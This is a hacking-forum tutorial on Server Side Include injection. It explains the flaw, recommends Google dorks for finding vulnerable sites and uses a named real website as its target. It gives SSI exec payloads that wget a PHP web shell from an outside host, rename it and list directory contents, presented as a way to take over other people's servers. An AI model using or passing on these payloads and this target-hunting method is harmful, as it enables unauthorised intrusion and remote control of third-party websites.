Nov 18, 2014 08:32 AM
(This post was last modified: Dec 16, 2015 05:11 AM by -zERAiT.)
Server Side Include Injection
In this tutorial we'll be going through an SSI Injection which stands for Server Side Include Injection.
What is SSI?
SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.
The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.
If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served.
Description Taken From: http://nightcode.weebly.com/ssi-injection.html
Finding a vulnerable website
Finding a vulnerable website is the same as searching for an SQL vulnerability, you'll need to use either google dorks or test on targeted websites.
However, I suggest you to use google dorks as finding a website vulnerable for SSI Injection is quite hard, however it is still a known method.
Dorks:
Spoiler (Click to View)
By looking at the above dorks on google I've found the website below and will use the website in this tutorial.
Quote:www.cgibackgrounds.com/user/login.shtml
To test if a website is actually vulnerable for SSI Injection you'll need to execute code on pages were user input is availlable, think about search engines, login forms etcetra.
SSI Commands:
Spoiler (Click to View)
Enter 1 of the commands in for example the username and password field and hit either enter or login.
Example:
![[Image: 9Vth8QS.png]](https://i.imgur.com/9Vth8QS.png)
We'll see below that the server executed are command which means that it is vulnerable for SSI Injection.
Example:
![[Image: lt5OPmR.png]](https://i.imgur.com/lt5OPmR.png)
Uploading a shell
Now, instead of executing a command which will give us the date, we're going to execute a command which will upload a shell on the server.
I'll be explaining 2 different ways of doing this.
1. Uploading your shell in php format.
Command:
PHP Code
<?php
[b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.php" -->
2. Uploading your shell in txt format.
Command:
PHP Code
<?php
[b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.txt" -->
Now we'll have to rename the txt extension in php.
You can do that with the following command:
PHP Code
<?php
[b]<!--[/b]#exec cmd="mv shell.txt shell.php" -->
Your shell is succesfully uploaded.
Spoiler (Click to View)
If you're unable to locate your shell, simply execute the following command.
PHP Code
<?php
[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" -->
This'll give you a list of all the files within a directory.
You can read my other tutorials by clicking below.
- [Tutorial] Basic / Union based SQL Injection
- [Tutorial] String Based SQL Injection
- [Tutorial] MsSQL Injection
- [Tutorial] Web Application Firewall [WAF]
- [Tutorial] Server Side Include Injection [SSI Injection]
- [Tutorial] XPath Injection [ExtractValue]
- [Tutorial] Remote File Inclusion
- [Tutorial] Directory Traversal
Thats it for now, if you still have any questions related to SSI Injections then feel free to hit me up.
Thanks for viewing my thread.🤝

![[Image: JLZENoE.png]](https://i.imgur.com/JLZENoE.png)

![[Image: FtwuQgr.gif]](https://i.imgur.com/FtwuQgr.gif)

